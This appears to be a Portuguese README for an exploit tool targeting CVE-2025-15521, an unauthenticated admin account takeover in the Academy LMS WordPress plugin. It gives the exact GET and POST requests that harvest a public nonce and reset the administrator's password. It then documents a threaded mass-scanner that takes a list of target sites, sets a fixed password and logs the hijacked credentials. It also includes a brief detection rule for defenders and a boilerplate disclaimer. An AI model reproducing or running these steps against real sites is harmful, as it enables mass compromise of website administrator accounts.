
O plugin Academy LMS – Plugin LMS WordPress para Solução Completa de eLearning para WordPress é vulnerável à escalada de privilégios via tomada de conta em todas as versões até e incluindo 3.5.0.
O plugin Academy LMS – WordPress LMS Plugin for Complete eLearning Solution para WordPress é vulnerável a escalada de privilégios via assumir conta em todas as versões até, e incluindo, 3.5.0.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Siga @KNxploited — divulgações de CVE e explorações funcionando, sem demora.
CVE-2025-15521 — Assumir conta não autenticada via redefinição de senha no Academy LMS ≤ 3.5.0.
O manipulador de redefinição do plugin autentica a solicitação usando apenas um nonce exposto publicamente (academy_nonce) incorporado nas páginas do curso. Nenhum token enviado para o email do usuário. Nenhuma verificação de sessão. Nenhuma validação de identidade. Um invasor que lê qualquer página do curso obtém um nonce válido e redefine a senha de qualquer conta fornecendo um user_id — incluindo user_id=1 (o administrador do site).
CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
O manipulador chama wp_set_password() após apenas verificar wp_verify_nonce() em um nonce que é transmitido a todos os visitantes. Não há verificação de que o usuário solicitante seja o dono da conta que está sendo modificada.
academy_nonce ativouser_id alvo com uma senha escolhida/?author=N e a API REST (/wp-json/wp/v2/users)wordpress_logged_in/wp-admin — não apenas uma resposta 200pip install requests colorama urllib3
Python 3.8+ é necessário. Python 3.10+ é recomendado.
python CVE-2025-15521.py
Você será solicitado a fornecer:
Arquivo de lista de alvos (uma URL por linha): list.txt
Threads (sites concorrentes) [5]: 10
Caminho do manipulador de redefinição [/academy-retrieve-password/]:
Caminho raiz do curso (fonte da chave) [/course/]:
Máximo de subpáginas /course/ para escanear por site [15]:
user_id para redefinir (alvo do manipulador) [1]:
Nova senha a definir [adminSA]:
Tempo limite HTTP (segundos) [10]:
Arquivo de saída [scan_results/academy_access_success.txt]:
Arquivo de alvos — uma URL por linha, esquema opcional:
https://target1.com
target2.com
https://target3.com/lms
Terminal — uma linha por alvo, sem credenciais impressas:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
Arquivo — apenas entradas de acesso confirmado:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
Para defensores:
Bloqueie ou monitore solicitações POST não autenticadas ao endpoint de redefinição:
POST *academy-retrieve-password* com parâmetro: security=
Verifique a exposição de rm_admin_order / academy_nonce no código-fonte da página do curso do seu tema. Se o nonce estiver visível sem estar logado — sua versão está afetada.
Passos imediatos de correção:
Esta ferramenta é apenas para pesquisa de segurança autorizada e testes de penetração.
Execute-a apenas contra sistemas que você possui ou para os quais tem permissão explícita por escrito para testar.
O autor não aceita nenhuma responsabilidade por uso não autorizado ou ilegal.
O uso não autorizado viola CFAA, CMA, Diretiva da UE 2013/40/EU, Lei Anticrime Cibernético da Arábia Saudita nº M/17 e leis equivalentes em todo o mundo.
By Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Siga @KNxploited no Telegram para as últimas CVEs e lançamentos de explorações.